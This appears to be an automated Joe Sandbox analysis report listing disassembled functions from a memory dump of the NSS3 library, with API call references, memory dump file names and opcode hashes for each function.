PR_CallOnce.NSS3(6D132158,6CFE9150,00000000,?,?,?,6CFE9138,?,6CFF0710), ref: 6CFE9029
calloc.MOZGLUE(00000001,00000000,?,?,6CFF0710), ref: 6CFE904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CFF0710), ref: 6CFE9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CFF0710), ref: 6CFE9078

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: b561b121ad02b99f1678279b6c1d918e48de1c89b8935d251c1e2598088aaf32
Instruction ID: 71986964395acab655f9c9b0bc134dcee4c6783e1baf1a3613f73ea701b60405
Opcode Fuzzy Hash: b561b121ad02b99f1678279b6c1d918e48de1c89b8935d251c1e2598088aaf32
Instruction Fuzzy Hash: 8B11086160111177E7201A7EAC04BA732ACDB867ACF950135FE84C6A45FB93CE5583B1

Function 6CFFCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6D011E10: TlsGetValue.KERNEL32 ref: 6D011E36
Part of subcall function 6D011E10: EnterCriticalSection.KERNEL32(?,?,?,6CFEB1EE,2404110F,?,?), ref: 6D011E4B
Part of subcall function 6D011E10: PR_Unlock.NSS3 ref: 6D011E76

free.MOZGLUE(?,6CFFD079,00000000,00000001), ref: 6CFFCDA5
PK11_FreeSymKey.NSS3(?,6CFFD079,00000000,00000001), ref: 6CFFCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CFFD079,00000000,00000001), ref: 6CFFCDCF
DeleteCriticalSection.KERNEL32(?,6CFFD079,00000000,00000001), ref: 6CFFCDE2
free.MOZGLUE(?), ref: 6CFFCDE9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4ad4518da70a12f93f9517bbb37c705a40e27b1633546213b6864a3bcbbab678
Instruction ID: 08303301610d736095960d84fa152dd5ba29ceff515e6ea70c31e87eb7586091
Opcode Fuzzy Hash: 4ad4518da70a12f93f9517bbb37c705a40e27b1633546213b6864a3bcbbab678
Instruction Fuzzy Hash: B611CEB6A05121BBEF10AEA5EC45F9ABB6DFF042687100121EA2987911E732E475C7E1

Function 6D062D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D062D9C

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D062DB2
PR_EnterMonitor.NSS3(?), ref: 6D062DCF
PR_ExitMonitor.NSS3(?), ref: 6D062DF2
PR_ExitMonitor.NSS3(?), ref: 6D062E0B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 5cd395c7792ba6b3d65a92e6b11af2af61f1044cfd758a8c99ce5ca50b0f87bd
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: FD01C4B5A142405FFB309E39FC01F9BB7A5EF45318F015435E95A8B221D632F82196A3

Function 6D062CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D062CEC

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D062D02
PR_EnterMonitor.NSS3(?), ref: 6D062D1F
PR_ExitMonitor.NSS3(?), ref: 6D062D42
PR_ExitMonitor.NSS3(?), ref: 6D062D5B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 24fb0b2dcb6184d8391aeba3da4533dc848a92dc96e6595f4b7317c5d1710b2e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 380104B5E042409FF7309E35FC40B8BB3E5EF45318F015425E9598B221E232F81187A2

Function 6CFFAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CFD99FF,?,?,?,?,?,?,?,?,?,6CFD2D6B,?), ref: 6CFFAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CFD99FF,?,?,?,?,?,?,?,?,?,6CFD2D6B,?), ref: 6CFFAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFFAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFFAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?), ref: 6CFFAEA3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 1537e8041a88e10c9dfeaa38933fc5a9ce0c7b26437229728468a5b884437d78
Instruction ID: 84e1fd39b71c828fc40c8367129690f056df96d85d02f32cdc658f3ce04dadea
Opcode Fuzzy Hash: 1537e8041a88e10c9dfeaa38933fc5a9ce0c7b26437229728468a5b884437d78
Instruction Fuzzy Hash: 4101F4B3B0501067E701932EEC85BEB3198CB87A9CF080171EA25C7B21F612C90742A3

Function 6D0EBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDC3
free.MOZGLUE(?,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDE9
free.MOZGLUE(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBE21
free.MOZGLUE(00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBE32

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 4b9d4e9296defc809656efec72b2a3b8224d81de14581ae407ab6b9131438178
Instruction ID: 8a9a7f1e27d444c82d7efc04758c1ec905629a029f9532b2b75a87826e6a9eca
Opcode Fuzzy Hash: 4b9d4e9296defc809656efec72b2a3b8224d81de14581ae407ab6b9131438178
Instruction Fuzzy Hash: 6B11DAB9A052019FEF31EFA9F845B523BB5BB4A254B460125D50A87310E7B1D458CBD1

Function 6D0E7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6D0E7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7C83
malloc.MOZGLUE(00000001), ref: 6D0E7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6D0E7C9F
PR_GetCurrentThread.NSS3 ref: 6D0E7CAD

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 020514cdab1cba5ee9ccd3df0ec2390f8585242f4929a27cf876675865597e6f
Instruction ID: 45075e3be19c97c7fb51fb00b24b1a6d595cc8c0a15459c247b14e92b4903426
Opcode Fuzzy Hash: 020514cdab1cba5ee9ccd3df0ec2390f8585242f4929a27cf876675865597e6f
Instruction Fuzzy Hash: 8CF0C2F1D1421A7FFB009F3AAC09A17779CEF442A4B018439E90DC7311E735E110CAA5

Function 6D0EADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6D0EA6D8), ref: 6D0EAE0D
free.MOZGLUE(?), ref: 6D0EAE14
DeleteCriticalSection.KERNEL32(6D0EA6D8), ref: 6D0EAE36
free.MOZGLUE(?), ref: 6D0EAE3D
free.MOZGLUE(00000000,00000000,?,?,6D0EA6D8), ref: 6D0EAE47

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: d4679523507f5126c43b85c41a32a02329d1c8e4377c96bab66b9c914c34383c
Instruction ID: f9b1e393995e3eea41066595776a7bd513b0b0691487788a9e4e7b45098e5aa9
Opcode Fuzzy Hash: d4679523507f5126c43b85c41a32a02329d1c8e4377c96bab66b9c914c34383c
Instruction Fuzzy Hash: C4F09675000A02BBDB108F68E809F5777BDBF8A7757140328E63A83640E772E165C7D5

Function 6CF77C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF77D35

Strings

database corruption, xrefs: 6CF77D29
%s at line %d of [%.10s], xrefs: 6CF77D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF77D13, 6CF77D1F, 6CF77D47, 6CF77D53, 6CF77D5F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5b2de6305f5343d32b4d1d855f3e9338f675f8ca6d6cb6f2414c5f006e23c49c
Instruction ID: 8a1e9b67176b2fcb836258ed84b01e4ca2c334cfe500c2a4aae2ceb58e1db872
Opcode Fuzzy Hash: 5b2de6305f5343d32b4d1d855f3e9338f675f8ca6d6cb6f2414c5f006e23c49c
Instruction Fuzzy Hash: 53311631E1422597C721CF9DD880ABABBF2FF48305B5901A7E445B7786D6B0D841C7B0

Function 6CF66C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CF66D36

Strings

database corruption, xrefs: 6CF66D2A
%s at line %d of [%.10s], xrefs: 6CF66D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF66D20

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2c1e121abacf1a091e6725b87924768f0c642fb1dcfa02bc7fdd260d1be5b5d9
Instruction ID: 5e2084c6d1c6cd746a8c452e6f16cafab9210c92c3c7d067a95c94392cbb97d6
Opcode Fuzzy Hash: 2c1e121abacf1a091e6725b87924768f0c642fb1dcfa02bc7fdd260d1be5b5d9
Instruction Fuzzy Hash: D62103716043059BC710CE1AC841B6BB7F6BF84308F24852DE84A9BF51E771F948C7A2

Function 6D09CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6D09CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D09CC7B), ref: 6D09CD7A
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CD8E
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CDA5
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6D09CCB5
memcpy.VCRUNTIME140(6D1314F4,6D1302AC,00000090), ref: 6D09CCD3
memcpy.VCRUNTIME140(6D131588,6D1302AC,00000090), ref: 6D09CD2B

Part of subcall function 6CFB9AC0: socket.WSOCK32(?,00000017,6CFB99BE), ref: 6CFB9AE6
Part of subcall function 6CFB9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CFB99BE), ref: 6CFB9AFC

Part of subcall function 6CFC0590: closesocket.WSOCK32(6CFB9A8F,?,?,6CFB9A8F,00000000), ref: 6CFC0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6D09CCB0

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 857f9ce5916fbe37835fda198fd04c9735bfd92a7a3c7a35b11d1ff86d2654ea
Instruction ID: 9027707f6704a223047059249e2a986325575c239925980de06a12fb5826ebf7
Opcode Fuzzy Hash: 857f9ce5916fbe37835fda198fd04c9735bfd92a7a3c7a35b11d1ff86d2654ea
Instruction Fuzzy Hash: B01151F9A043559EFB208F6AA8057563AB89347359F120029E50DDB345EBF144854BD7

Function 6D001CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6D001CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6D001CF1

Part of subcall function 6D0E09D0: PR_Now.NSS3 ref: 6D0E0A22
Part of subcall function 6D0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0E0A35
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0E0A66
Part of subcall function 6D0E09D0: PR_GetCurrentThread.NSS3 ref: 6D0E0A70
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0E0A9D
Part of subcall function 6D0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0E0AC8
Part of subcall function 6D0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0E0AE8
Part of subcall function 6D0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0E0B19
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0E0B48
Part of subcall function 6D0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0E0C76
Part of subcall function 6D0E09D0: PR_LogFlush.NSS3 ref: 6D0E0C7E

Strings

C_Initialize, xrefs: 6D001CD3
pInitArgs = 0x%p, xrefs: 6D001CEC

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 077d8d0e18462a79d86f0651d43b5aab67dd8596b6d17a56169654c1d4e3cb6c
Instruction ID: f07e6d6266c0b655fa03e100c20b9f0d6b8d72fb438fb23f12cdc1204d84d18f
Opcode Fuzzy Hash: 077d8d0e18462a79d86f0651d43b5aab67dd8596b6d17a56169654c1d4e3cb6c
Instruction Fuzzy Hash: D00192B9A00101EFFB20AB55E949B2937F5EB8635DF064025E509D3211DFF49885CBD3

Function 6CF67F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF681DF
LeaveCriticalSection.KERNEL32(?), ref: 6CF68239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF68255
sqlite3_free.NSS3(00000000), ref: 6CF68260

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: dbd11f52f7325159b238b8fc858b9f5d516f395ec8cc11627b3a9692aef1475c
Instruction ID: 22320d4823f6db2521d32d9a5dbda07ac48b314f8504574fc53422a1c348cf7d
Opcode Fuzzy Hash: dbd11f52f7325159b238b8fc858b9f5d516f395ec8cc11627b3a9692aef1475c
Instruction Fuzzy Hash: C1919075A01608EFEF08CFE2E948BEDB7B1BF06304F25012ED4169BA50D7B65985CB81

Function 6D041D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D041D8F

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D041DA6

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
